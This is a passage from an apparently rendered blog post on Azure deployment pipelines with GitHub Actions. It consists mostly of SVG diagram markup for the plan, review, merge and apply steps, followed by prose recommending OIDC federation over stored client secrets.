stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,112 L 608,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,160 L 328,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,256 L 608,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,48 L 80,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,224 L 80,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,16 L 336,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,112 L 336,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,144 L 336,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,256 L 336,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,16 L 616,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='104.000000,160.000000 92.000000,154.399994 92.000000,165.600006' fill='currentColor' transform='rotate(180.000000, 96.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,48.000000 324.000000,42.400002 324.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 328.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='616.000000,112.000000 604.000000,106.400002 604.000000,117.599998' fill='currentColor' transform='rotate(0.000000, 608.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='616.000000,256.000000 604.000000,250.399994 604.000000,261.600006' fill='currentColor' transform='rotate(0.000000, 608.000000, 256.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='336' cy='144' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='196' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='212' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='212' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='196' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='212' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='212' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='212' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='100' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='244' fill='currentColor' style='font-size:1em'\u003e7\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='244' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='244' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='244' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='244' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='244' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='244' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='244' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='244' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='244' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='244' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='244' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='292' fill='currentColor' style='font-size:1em'\u003e8\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='292' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='292' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='292' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='292' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='292' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='292' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='292' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='292' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='292' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='292' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='292' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eWhen you open a PR, the pipeline runs a \u0026ldquo;What-If\u0026rdquo; analysis and posts the result as a collapsible comment. Your reviewer sees exactly which resources will be created, modified, or destroyed before clicking merge. No surprises.\u003c/p\u003e\n\u003ch2 id=\"2-secure-authentication-with-oidc\"\u003e2. Secure Authentication with OIDC\u003c/h2\u003e\n\u003cp\u003eStoring \u003ccode\u003eAZURE_CLIENT_SECRET\u003c/code\u003e in GitHub Secrets is a high-risk legacy pattern. If the secret leaks, an attacker has permanent access until someone notices and rotates it. You probably won\u0026rsquo;t notice for a while. \u003cstrong\u003eOpenID Connect (OIDC)\u003c/strong\u003e solves this by using a trust relationship between GitHub and Entra ID instead of a static credential.\u003c/p\u003e\n\u003ch3 id=\"github-oidc-security-boundary\"\u003eGitHub OIDC Security Boundary\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 696 233\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,64 L 312,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,160 L 312,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,208 L 320,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,208 L 552,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,64 L 80,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,200 L 80,216' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,16 L 320,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,112 L 320,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,160 L 320,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,16 L 560,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='104.000000,160.000000 92.000000,154.399994 92.000000,165.600006' fill='currentColor' transform='rotate(180.000000, 96.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='320.000000,64.000000 308.000000,58.400002 308.000000,69.599998' fill='currentColor' transform='rotate(0.000000, 312.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='560.000000,208.000000 548.000000,202.399994 548.000000,213.600006' fill='currentColor' transform='rotate(0.000000, 552.000000, 208.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='320' cy='112' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='196' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' 